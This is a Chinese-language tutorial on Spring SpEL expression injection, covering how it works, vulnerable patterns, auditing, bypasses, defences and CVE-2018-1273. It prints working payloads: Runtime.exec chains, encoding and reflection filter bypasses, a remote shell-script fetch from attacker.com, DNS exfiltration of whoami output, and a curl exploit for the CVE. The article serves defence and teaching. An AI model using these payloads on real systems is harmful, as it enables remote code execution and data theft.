Spring SpEL表达式注入漏洞深度解析:从原理到防御实战

Spring SpEL表达式注入漏洞深度解析:从原理到防御实战

1. 项目概述:为什么SpEL表达式注入是Java安全的关键一环

如果你是一名Java开发者,尤其是使用Spring全家桶的,那么“SpEL”这个词你一定不陌生。Spring Expression Language,这个看似只是用来在配置文件里写点#{systemProperties['user.home']}小表达式的工具,实际上却可能成为攻击者撬开你应用大门的“瑞士军刀”。我见过太多项目,因为对SpEL的威力认识不足,仅仅把它当作一个便捷的配置工具,结果在代码的某个角落埋下了远程代码执行的“地雷”。今天,我们就来彻底拆解SpEL表达式注入,这不仅是Java安全面试的经典八股文,更是每一个后端开发者必须掌握的实战防御技能。理解它,你就能看懂很多Spring相关CVE漏洞的本质;掌握它,你就能在代码审查和架构设计阶段主动规避风险。这篇文章不会只停留在“如何弹出一个计算器”的漏洞演示上,我会带你从SpEL的设计初衷、核心语法、安全机制演进,一直深入到漏洞挖掘的实战思路和修复方案,让你不仅知其然,更知其所以然。

2. SpEL核心机制深度解析:不止是表达式求值

要理解注入,必须先理解其运行机制。SpEL绝非一个简单的字符串计算器,它是Spring框架中一个功能完备的、图灵完备的表达式语言执行引擎。

2.1 SpEL的三大使用场景与语法差异

很多初学者会混淆SpEL在不同场景下的写法,这是第一个容易踩坑的地方。

2.1.1 在Java代码中直接使用这是最“原始”的用法,通常用于动态求值。你需要手动创建ExpressionParserEvaluationContext

import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.expression.Expression; public class DirectUsageDemo { public static void main(String[] args) { ExpressionParser parser = new SpelExpressionParser(); // 场景1:字面量表达式 Expression exp1 = parser.parseExpression("'Hello ' + 'World'"); String result1 = (String) exp1.getValue(); System.out.println(result1); // 输出:Hello World // 场景2:访问静态方法与属性(T()操作符是关键) Expression exp2 = parser.parseExpression("T(java.lang.Math).random() * 100.0"); Double randomNum = (Double) exp2.getValue(); System.out.println(randomNum); // 场景3:实例化对象 Expression exp3 = parser.parseExpression("new java.util.Date()"); Date date = (Date) exp3.getValue(); System.out.println(date); } }

关键注意点:在parseExpression方法参数中,表达式字符串本身用双引号"包裹,而表达式内部的字符串字面量必须用单引号'包裹。例如,"T(java.lang.Runtime).getRuntime().exec('calc')"。这是与在XML或注解中使用的最大语法区别。

2.1.2 在XML配置文件中使用在Spring的XML Bean定义中,SpEL用于动态注入属性值,使用#{expression}作为定界符。

<bean id="myDataSource" class="com.zaxxer.hikari.HikariDataSource"> <property name="jdbcUrl" value="#{systemProperties['db.url'] ?: 'jdbc:mysql://localhost:3306/test'}" /> <property name="maximumPoolSize" value="#{T(java.lang.Math).max(5, 10)}" /> </bean>

这里,#{ ... }内的所有内容都会被Spring容器在初始化Bean时解析为SpEL表达式。这种场景下,表达式字符串不需要再额外包裹引号。

2.1.3 在注解中使用这是最常用也最易出问题的场景,尤其是@Value注解。

@Component public class ConfigComponent { // 注入系统属性 @Value("#{systemProperties['java.home']}") private String javaHome; // 注入其他Bean的属性 @Value("#{myService.defaultValue}") private String defaultValue; // 使用三元运算符进行条件注入 @Value("#{environment['app.mode'] == 'prod' ? 'production' : 'development'}") private String runtimeMode; }

注解中的SpEL同样使用#{ ... }定界符。它的解析发生在Spring容器创建Bean、进行依赖注入的阶段。

2.1.4 核心差异总结为什么强调这个区别?因为在漏洞利用时,payload的构造方式截然不同。在代码中直接parseExpression,你的payload是一个完整的字符串;而在注解或XML中,payload是#{...}内部的内容。审计代码时,你需要关注的是最终被ExpressionParser解析的字符串来源是否用户可控,而不是它是否被#{}包裹。

2.2 EvaluationContext:安全与能力的开关

EvaluationContext是SpEL表达式求值的上下文环境,它定义了表达式可以访问的变量、函数、类型转换器等。Spring提供了两个主要实现,它们的区别是SpEL安全问题的核心。

2.2.1 StandardEvaluationContext:全功能模式这是SpEL默认使用的上下文(当你不显式指定时)。它暴露了SpEL的全部功能集,包括:

  • Java类型引用(T(FullClassName)
  • Bean引用(@beanName
  • 构造函数调用(new
  • 赋值操作
  • 方法调用
ExpressionParser parser = new SpelExpressionParser(); StandardEvaluationContext context = new StandardEvaluationContext(); // 在上下文中设置一个变量 context.setVariable("foo", "I am foo"); // 表达式可以访问这个变量,并执行危险操作 Expression exp = parser.parseExpression("#foo + ' and ' + T(java.lang.Runtime).getRuntime().exec('calc')"); // 注意:这里为了演示漏洞,表达式本身是危险的。实际执行getValue(context)会触发命令执行。

StandardEvaluationContext的强大带来了极大的安全隐患。如果攻击者能够控制表达式的字符串内容,他们几乎可以执行任何Java代码。

2.2.2 SimpleEvaluationContext:受限安全模式从Spring Framework 4.3.15, 5.0.5, 5.1.2版本开始引入,旨在提供一个安全的、功能受限的求值上下文。它不支持

  • Java类型引用(T()操作符)
  • Bean引用
  • 构造函数调用

它主要用于数据绑定场景,比如在Spring MVC中处理表单、或在Spring Data查询中安全地引用属性。

ExpressionParser parser = new SpelExpressionParser(); SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build(); // 尝试解析一个危险表达式 Expression dangerousExp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')"); try { Object result = dangerousExp.getValue(context); // 这里会抛出异常! // SpelEvaluationException: EL1004E: Method call: Method exec(java.lang.String) cannot be found on type java.lang.Runtime } catch (SpelEvaluationException e) { System.out.println("安全拦截成功: " + e.getMessage()); } // 但它仍然支持安全的属性访问和简单运算 context.setVariable("safeVar", 100); Expression safeExp = parser.parseExpression("#safeVar * 2"); Integer safeResult = safeExp.getValue(context, Integer.class); // 正常返回200

实操心得:在绝大多数业务场景下,尤其是处理用户输入动态构造表达式时(如动态查询、规则引擎),必须优先使用SimpleEvaluationContext。这是防止SpEL注入的第一道也是最有效的防线。检查历史代码,将所有非必要的StandardEvaluationContext替换掉,是安全加固的重要一步。

2.3 SpEL的“魔力”来源:T()操作符与类型解析

T()操作符是SpEL中引用Java类的关键,也是大多数漏洞利用的起点。它的完整形式是T(full.package.ClassName)

2.3.1 工作原理T()操作符告诉SpEL解析器:“将括号内的字符串解析为一个java.lang.Class对象”。之后,你就可以在这个类对象上调用静态方法或访问静态字段。

Expression exp = parser.parseExpression("T(java.lang.Runtime)"); Class<?> runtimeClass = (Class<?>) exp.getValue(); System.out.println(runtimeClass == Runtime.class); // 输出:true // 等价于Java反射中的 Class<?> clazz = Class.forName("java.lang.Runtime");

特殊优待:对于java.lang包下的类,可以省略包名。T(String)T(Math)T(Runtime)都是合法的。这为攻击者缩短payload长度提供了便利。

2.3.2 为什么能调用静态方法?这是SpEL引擎在背后做的“魔法”。当解析T(java.lang.Runtime).getRuntime()时:

  1. SpEL先求值T(java.lang.Runtime),得到一个Class<Runtime>对象。
  2. 接着解析.getRuntime()。SpEL发现前面的求值结果是一个Class对象,它会检查这个Class对象上是否存在名为getRuntime的静态方法。
  3. 如果存在,SpEL会通过Java反射机制(java.lang.reflect.Method.invoke)调用该方法。
  4. 方法返回一个Runtime实例,后续的.exec(“calc”)调用则是在这个实例上调用实例方法。

整个过程完全在运行时动态完成,不依赖于编译时的类型检查。这意味着,只要表达式语法正确且上下文允许,你可以调用任何类上的任何可访问方法。

2.3.3 不仅仅是Runtime:危险的类库很多文章只提Runtime.getRuntime().exec(),但实际上危险类远不止于此。

  • ProcessBuilder:T(java.lang.ProcessBuilder).start()是另一种命令执行方式。
  • java.lang.ClassLoader: 可用于动态加载恶意字节码。
  • java.io.File: 可进行文件读写、删除操作。
  • javax.script.ScriptEngineManager: 可执行JavaScript等脚本语言,绕过一些限制。
  • java.net.Socket/URL: 可发起网络请求,造成SSRF(服务器端请求伪造)。

排查技巧:在代码审计时,不要只搜索T(java.lang.Runtime)。一个更有效的方法是搜索parseExpression方法调用,并向上追溯其参数字符串的来源,判断是否用户可控。

3. SpEL表达式注入漏洞的实战挖掘与利用

知道了原理,我们来看看漏洞究竟是怎么产生的,以及如何寻找和利用它们。

3.1 漏洞产生的典型模式

漏洞产生的核心模式永远只有一个:用户输入未经充分过滤,直接拼接到了SpEL表达式中,并且该表达式使用StandardEvaluationContext(或未指定Context,即默认)进行求值。

3.1.1 模式一:动态查询构造(最常见)常见于一些“高级搜索”或“规则引擎”功能。

@RestController public class VulnerableController { @GetMapping("/search") public List<User> searchUsers(@RequestParam String filter) { // 危险!将用户输入的filter直接拼接到SpEL中 String expressionString = "users.![#this.name == '" + filter + "']"; ExpressionParser parser = new SpelExpressionParser(); // 默认使用StandardEvaluationContext Expression exp = parser.parseExpression(expressionString); // 假设有一个名为“users”的变量在context中 StandardEvaluationContext context = new StandardEvaluationContext(); context.setVariable("users", userRepository.findAll()); return (List<User>) exp.getValue(context); } }

攻击者可以传入filter参数为:' + T(java.lang.Runtime).getRuntime().exec('calc') + '。拼接后的表达式变为:users.![#this.name == '' + T(java.lang.Runtime).getRuntime().exec('calc') + '']这会在比较用户名之前先执行命令。

3.1.2 模式二:注解中的动态值@Value注解虽然方便,但如果其值来自外部配置(如数据库、环境变量)且内容用户可控,同样危险。

// 假设从数据库读取配置,某个配置项的值被恶意修改为:#{T(java.lang.Runtime).getRuntime().exec('curl attacker.com/shell.sh')} @Value("#{configService.getConfig('startup.command')}") private String startupCommand; // 在Bean属性注入时,SpEL会被执行!

这种漏洞更隐蔽,因为攻击链可能很长:攻击者先通过其他漏洞(如SQL注入)修改了数据库中的配置值,导致应用重启或该Bean被初始化时触发RCE。

3.1.3 模式三:表达式模板Spring提供了TemplateParserContext,允许定义自定义的表达式定界符(如#{...})。如果模板内容用户可控,风险极高。

public String processTemplate(String template) { ExpressionParser parser = new SpelExpressionParser(); // 使用#{}作为表达式定界符的模板上下文 TemplateParserContext templateContext = new TemplateParserContext("#{", "}"); // 用户传入的template可能包含#{...}表达式 Expression exp = parser.parseExpression(template, templateContext); StandardEvaluationContext context = new StandardEvaluationContext(); context.setVariable("user", currentUser); return exp.getValue(context, String.class); }

如果用户传入Hello #{T(java.lang.Runtime).getRuntime().exec('calc')}, welcome!,表达式部分将被解析执行。

3.2 手工漏洞挖掘方法论

对于白盒审计,可以遵循以下路径:

  1. 入口点搜索:在IDE或代码仓库中全局搜索以下关键词:

    • SpelExpressionParser
    • ExpressionParser
    • parseExpression
    • @Value(尤其关注其值是否为动态获取,如#{'${some.property}'},这里存在属性解析后二次SpEL解析的风险)
    • StandardEvaluationContext
  2. 回溯数据流:找到parseExpression的调用点后,查看其参数(表达式字符串)的来源。

    • 是否直接来自HTTP请求参数(HttpServletRequest.getParameter)?
    • 是否来自请求体(@RequestBody)?
    • 是否来自数据库查询结果?
    • 是否来自文件读取或外部API调用?
    • 关键判断:这个来源是否可以被最终用户(包括已登录用户)以某种方式影响?
  3. 判断上下文:查看getValue()方法调用时,是否传入了EvaluationContext

    • 如果没传,使用的是默认的StandardEvaluationContext->高危
    • 如果传了,判断是否是SimpleEvaluationContext或其构建的受限上下文 ->相对安全
    • 如果传了StandardEvaluationContext,但限制了变量、设置了TypeLocatorMethodResolver进行过滤 ->需要具体分析
  4. 验证可利用性:在测试环境构造一个无害的探测payload,验证表达式是否被执行。

    • 无害payload示例:T(java.lang.Thread).sleep(5000)。如果请求响应延迟了5秒,说明存在SpEL注入,且可以执行静态方法。
    • 或者:T(java.lang.System).getProperty('user.dir'),尝试读取系统属性并在响应中回显。

3.3 绕过技巧与高级利用

在实战中,可能会遇到一些限制,需要尝试绕过。

3.3.1 字符串拼接与黑名单绕过如果开发人员简单过滤了Runtimeexec等关键词,可以尝试:

  • 字符串拼接T(java.lang.Ru+ntime).getRuntime().exec(‘calc’)
  • 使用字符编码:SpEL支持字符的十进制、八进制、十六进制表示。
    • T(java.lang.Runtime).getRuntime().exec(‘calc’)可以写成:
    • T(java.lang.Runtime).getRuntime().exec(‘\u0063\u0061\u006c\u0063’)(Unicode)
    • T(java.lang.Runtime).getRuntime().exec(‘\143\141\154\143’)(八进制,需加反斜杠)
  • 使用反射链:如果T()被禁用,可以尝试通过其他方式获取类。
    • ''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('calc')
    • 这利用了字符串字面量''class属性获取Class对象,再通过反射调用。

3.3.2 无回显命令执行与出网检测很多时候命令执行没有回显。我们需要判断命令是否成功。

  • 延时判断(Sleep):如前所述,T(java.lang.Thread).sleep(10000)
  • DNS外带(DNS Exfiltration):这是最常用的出网检测和数据外带方法。
    • T(java.lang.Runtime).getRuntime().exec('ping -c 1 your-dns-log-domain.com')
    • T(java.lang.Runtime).getRuntime().exec('nslookup $(whoami).your-dns-log-domain.com')
    • 在VPS上监听DNS日志,如果收到解析请求,证明命令执行成功且能出网。
  • HTTP请求外带:使用curlwget或编写简单的Java代码发起HTTP请求,将命令结果带到参数或URL中。

3.3.3 内存马与持久化利用在Web环境下,成功RCE后,攻击者往往不满足于执行单条命令,他们会尝试写入内存马(如Filter型、Controller型内存马)以实现持久化访问。 利用SpEL可以做到:

  1. 获取当前Web应用的ServletContextApplicationContext
  2. 动态注册恶意的Filter或Controller。 这个过程需要较复杂的SpEL表达式,涉及对Spring内部容器的理解,但原理上完全可行。这提醒我们,SpEL注入的危害等级通常是“严重”(Critical)。

4. 从防御到根治:SpEL安全编码最佳实践

了解了攻击,防御思路就清晰了。防御是一个多层次的过程。

4.1 第一层:使用安全的EvaluationContext

黄金法则:除非业务绝对需要SpEL的完整功能,否则一律使用SimpleEvaluationContext

// 正确的做法:用于数据绑定或简单表达式 ExpressionParser parser = new SpelExpressionParser(); SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build(); // 或用于属性访问 // SimpleEvaluationContext context = SimpleEvaluationContext.forPropertyAccessors(...).build(); Expression exp = parser.parseExpression(userControlledInput); // 假设输入来自外部 try { Object result = exp.getValue(context); // 此处会安全地失败,如果输入包含危险操作 } catch (SpelEvaluationException e) { // 记录日志,返回错误信息给用户 log.warn("非法表达式输入: {}", userControlledInput, e); throw new IllegalArgumentException("表达式无效"); }

SimpleEvaluationContext通过限制可访问的类、方法和属性,从根本上切断了大多数危险操作。

4.2 第二层:输入验证与白名单

如果业务确实需要使用StandardEvaluationContext的部分高级功能(如调用特定工具类的静态方法),则必须对输入进行严格的验证。

4.2.1 表达式语法白名单定义一个允许的表达式模式集合。

import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.expression.spel.SpelNode; import org.springframework.expression.spel.ast.*; public class SafeSpELProcessor { private static final Set<String> ALLOWED_STATIC_CLASSES = Set.of( "java.lang.Math", "java.time.LocalDate", "com.company.utils.StringUtils" // 只允许业务需要的工具类 ); private static final Set<String> ALLOWED_METHODS = Set.of( "abs", "max", "min", "sqrt", // Math的方法 "now", "parse", // LocalDate的方法 "isEmpty", "capitalize" // 自定义工具类方法 ); public static Object evaluateSafely(String expressionStr, StandardEvaluationContext context) { ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(expressionStr); // 获取表达式的AST(抽象语法树)进行静态分析 SpelNode ast = ((SpelExpression) exp).getAST(); if (!isExpressionSafe(ast)) { throw new SecurityException("表达式包含不允许的语法或调用。"); } return exp.getValue(context); } private static boolean isExpressionSafe(SpelNode node) { // 递归遍历AST节点 if (node instanceof MethodReference) { // 检查方法调用 MethodReference methodRef = (MethodReference) node; String methodName = methodRef.getName(); // 这里需要更复杂的逻辑来获取方法所属的类,简化示例 // 实际中需要解析方法调用的目标对象 if (!ALLOWED_METHODS.contains(methodName)) { return false; } } else if (node instanceof TypeReference) { // 检查T()类型引用 TypeReference typeRef = (TypeReference) node; String typeName = typeRef.getTypeName(); if (!ALLOWED_STATIC_CLASSES.contains(typeName)) { return false; } } else if (node instanceof ConstructorReference) { // 禁止new操作符 return false; } // 递归检查所有子节点 for (int i = 0; i < node.getChildCount(); i++) { if (!isExpressionSafe(node.getChild(i))) { return false; } } return true; } }

这是一个简化的示例,实际的白名单验证需要更精细地解析AST,考虑属性访问路径等。可以考虑使用SpelExpressiongetAST()方法获取语法树节点进行分析。

4.2.2 沙箱环境(复杂但彻底)对于需要执行不可信表达式的场景,可以考虑在独立的、受限的沙箱JVM进程中执行SpEL表达式。通过Java安全管理器(SecurityManager)或现代模块系统(JPMS)来限制沙箱进程的权限(如禁止文件读写、禁止网络访问、禁止执行命令)。这属于重量级方案,适用于规则引擎等核心业务。

4.3 第三层:依赖管理与全局配置

4.3.1 升级Spring框架版本确保使用的Spring Framework版本至少是以下安全版本之一:

  • Spring Framework 4.3.15 或更高版本(4.x系列)
  • Spring Framework 5.0.5 或更高版本(5.0.x系列)
  • Spring Framework 5.1.2 或更高版本(5.1.x系列) 这些版本引入了SimpleEvaluationContext,并为修复相关CVE(如CVE-2018-1273)提供了基础。

4.3.2 全局默认上下文配置(谨慎使用)理论上,你可以通过自定义SpelExpressionParser或覆盖Spring的默认配置,来全局设置一个更安全的默认EvaluationContext。但这种方式侵入性强,可能影响框架其他部分的功能,需全面测试。

@Configuration public class SpelSecurityConfig { @Bean public SpelExpressionParser spelExpressionParser() { // 注意:这会影响整个应用中通过此Parser解析的表达式,需谨慎评估影响。 return new SpelExpressionParser() { @Override public Expression parseExpression(String expressionString) throws ParseException { Expression exp = super.parseExpression(expressionString); // 可以在这里包裹一层,强制使用SimpleEvaluationContext? // 但getValue()时传入的context会覆盖默认行为,所以此方法不彻底。 return exp; } }; } }

更推荐的方式是在业务代码层面进行规范,明确要求使用SimpleEvaluationContext

4.4 第四层:安全开发规范与代码审查

  1. 制定规范:在团队内部明确禁止在用户输入可控的场景下使用StandardEvaluationContext。将SimpleEvaluationContext的使用写入开发规范。
  2. 代码审查重点:在CR环节,将ExpressionParser@Value(动态值)、parseExpression等关键词列为高危审查点。重点审查表达式字符串的拼接逻辑。
  3. 自动化扫描:集成SAST(静态应用安全测试)工具到CI/CD流程中。工具如SpotBugs配合findsecbugs插件可以检测常见的SpEL注入模式。虽然可能有误报,但能提供有效的预警。
  4. 安全测试:在渗透测试或自动化安全测试中,加入SpEL注入的测试用例。尝试向所有可能的参数(查询参数、请求体、Header、Cookie)中插入探测payload,如#{1+1}${1+1}(有时也会被解析)、T(java.lang.Thread).sleep(5000)

5. 经典CVE案例复盘:CVE-2018-1273

让我们通过一个真实案例来串联所有知识点。CVE-2018-1273是Spring Data Commons组件中的一个SpEL注入漏洞,影响广泛。

漏洞简述:当Spring Data REST暴露的Repository接口处理PATCH请求时,如果用户传入的JSON数据中包含包含恶意SpEL表达式的字段名,该表达式会被解析执行。

漏洞代码分析(简化版): 在org.springframework.data.rest.webmvc.RepositoryPropertyReferenceController中,处理PATCH请求更新实体属性时,会调用org.springframework.data.repository.support.PropertyReferenceBindingResult。其中,在解析属性路径(property path)时,会对路径中的特殊符号(如[,])进行处理,并最终将部分路径片段作为SpEL表达式进行求值,且使用了StandardEvaluationContext

攻击Payload

curl -X PATCH http://vulnerable-host/users/1 -H "Content-Type: application/json" -d '{"name[' + T(java.lang.Runtime).getRuntime().exec('calc.exe') + ']": "hacked"}'

攻击者构造了一个畸形的字段名:name[' + T(java.lang.Runtime).getRuntime().exec('calc.exe') + ']。服务端在解析时,试图将这个字段名的一部分作为SpEL表达式求值,导致了命令执行。

修复方案: Spring官方修复此漏洞的方式是双管齐下:

  1. StandardEvaluationContext替换为SimpleEvaluationContext:在PropertyReferenceBindingResult相关的代码中,将求值上下文改为功能受限的SimpleEvaluationContext,禁用了危险的T()操作符和构造函数调用。
  2. 加强输入过滤:对传入的路径表达式进行了更严格的验证和清理。

从该案例中学到的

  • 漏洞点可能很隐蔽:不是直接的parseExpression调用,而是框架底层对用户数据的间接处理。
  • 输入向量可能很奇特:攻击载荷在字段名(key)中,而不是字段值(value)。
  • 修复是分层的:既采用了更安全的上下文(治本),也加强了输入验证(治标)。

6. 总结与个人实战心得

SpEL表达式注入的本质是“代码注入”的一种,其危害性与SQL注入、OS命令注入等同,甚至更严重,因为它直接赋予了攻击者在应用运行时执行任意Java代码的能力。经过这么多年的发展和安全意识的提升,纯粹因为直接拼接用户输入到parseExpression而产生的漏洞已经较少见了。但现在更常见的是以下几种“变体”:

  1. 框架底层自动解析导致的漏洞:就像CVE-2018-1273,开发者甚至没有显式地写SpEL解析代码,但框架在某些特性(如数据绑定、属性映射)中使用了它。这就要求我们不仅要审查自己的代码,还要了解所用框架的特性与潜在风险。
  2. 配置文件中引入的漏洞:通过环境变量、配置中心动态覆盖的@Value注解值。确保配置来源可信,并对从外部获取的配置值进行安全检查。
  3. “安全”上下文下的绕过:即使使用了SimpleEvaluationContext,如果表达式本身可以通过复杂的属性访问链最终调用到危险方法(虽然很难),或者存在拒绝服务(DoS)的可能(如‘aaaaaaaaaaaaaaaaaaaaaaaa!’ matches ‘^(a+)+$’这种正则表达式ReDoS),风险依然存在。

在我的审计和开发经验中,最有效的策略永远是“最小权限原则”“默认拒绝”

  • 对于SpEL:默认认为它是危险的。任何使用SpEL的地方,首先问“这里是否必须用SpEL?有没有更简单的字符串处理或逻辑判断可以替代?”如果必须用,那么默认使用SimpleEvaluationContext,并像对待SQL语句一样,对表达式“参数化”——如果可能,使用预定义的表达式模板,将用户输入作为变量(#variable)传入,而不是拼接字符串。
  • 依赖管理:保持Spring框架及相关组件(Spring Data, Spring Security等)更新到最新稳定版。很多安全修复是通过版本升级引入的。
  • 深度防御:在网关层、应用层做好通用的输入验证和输出编码。虽然不能直接防住SpEL注入,但可以增加攻击门槛。

最后,分享一个排查小技巧:当你怀疑某处存在SpEL注入但无法确定时,可以尝试在表达式中使用T(java.lang.System).out.println(‘test’)。如果服务端的标准输出流(比如Tomcat的catalina.out日志)中出现了test,那么注入点就坐实了。当然,在生产环境要慎用,最好在测试环境进行。

安全是一个持续的过程,理解像SpEL注入这样的底层原理,能帮助我们在面对层出不穷的新框架、新特性时,保持一份警惕,更快地识别出潜在的风险模式。